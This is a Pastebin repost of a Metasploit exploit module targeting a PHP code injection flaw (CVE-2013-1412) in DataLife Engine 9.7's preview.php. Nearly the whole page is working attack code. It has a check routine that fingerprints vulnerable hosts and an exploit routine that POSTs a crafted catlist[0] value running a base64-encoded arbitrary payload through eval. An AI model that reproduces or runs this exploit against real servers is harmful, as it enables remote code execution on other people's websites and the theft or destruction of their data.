Advertisement
chris_defaulter007

DataLife Engine preview.php PHP Code Injection

Feb 4th, 2013
237
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.28 KB | None | 0 0
  1. ##
  2. # This file is part of the Exploit + Zero Day and may be subject to
  3. # redistribution and commercial restrictions. Please see the Metasploit
  4. # web site for more information on licensing and terms of use.
  5. # http://metasploit.com/
  6. ##
  7.  
  8. require 'msf/core'
  9.  
  10. class Metasploit3 < Msf::Exploit::Remote
  11. Rank = ExcellentRanking
  12.  
  13. include Msf::Exploit::Remote::HttpClient
  14.  
  15. def initialize(info = {})
  16. super(update_info(info,
  17. 'Name' => 'DataLife Engine preview.php PHP Code Injection',
  18. 'Description' => %q{
  19. This module exploits a PHP code injection vulnerability DataLife Engine 9.7.
  20. The vulnerability exists in preview.php, due to an insecure usage of preg_replace()
  21. with the e modifier, which allows to inject arbitrary php code, when the template
  22. in use contains a [catlist] or [not-catlist] tag.
  23. },
  24. 'Author' =>
  25. [
  26. 'EgiX', # Vulnerability discovery
  27. 'juan vazquez' # Metasploit module
  28. ],
  29. 'License' => MSF_LICENSE,
  30. 'References' =>
  31. [
  32. [ 'CVE', '2013-1412' ],
  33. [ 'BID', '57603' ],
  34. [ 'EDB', '24438' ],
  35. [ 'URL', 'http://karmainsecurity.com/KIS-2013-01' ],
  36. [ 'URL', 'http://dleviet.com/dle/bug-fix/3281-security-patches-for-dle-97.html' ]
  37. ],
  38. 'Privileged' => false,
  39. 'Platform' => ['php'],
  40. 'Arch' => ARCH_PHP,
  41. 'Payload' =>
  42. {
  43. 'Keys' => ['php']
  44. },
  45. 'DisclosureDate' => 'Jan 28 2013',
  46. 'Targets' => [ ['DataLife Engine 9.7', { }], ],
  47. 'DefaultTarget' => 0
  48. ))
  49.  
  50. register_options(
  51. [
  52. OptString.new('TARGETURI', [ true, "The base path to the web application", "/"])
  53. ], self.class)
  54. end
  55.  
  56. def uri
  57. normalize_uri(target_uri.path, 'engine', 'preview.php')
  58. end
  59.  
  60. def check
  61. fingerprint = rand_text_alpha(4+rand(4))
  62. res = send_request_cgi(
  63. {
  64. 'uri' => uri,
  65. 'method' => 'POST',
  66. 'vars_post' =>
  67. {
  68. 'catlist[0]' => "#{rand_text_alpha(4+rand(4))}')||printf(\"#{fingerprint}\");//"
  69. }
  70. })
  71.  
  72. if res and res.code == 200 and res.body =~ /#{fingerprint}/
  73. return Exploit::CheckCode::Vulnerable
  74. else
  75. return Exploit::CheckCode::Safe
  76. end
  77. end
  78.  
  79. def exploit
  80. @peer = "#{rhost}:#{rport}"
  81.  
  82. print_status("#{@peer} - Exploiting the preg_replace() to execute PHP code")
  83. res = send_request_cgi(
  84. {
  85. 'uri' => uri,
  86. 'method' => 'POST',
  87. 'vars_post' =>
  88. {
  89. 'catlist[0]' => "#{rand_text_alpha(4+rand(4))}')||eval(base64_decode(\"#{Rex::Text.encode_base64(payload.encoded)}\"));//"
  90. }
  91. })
  92. end
  93. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement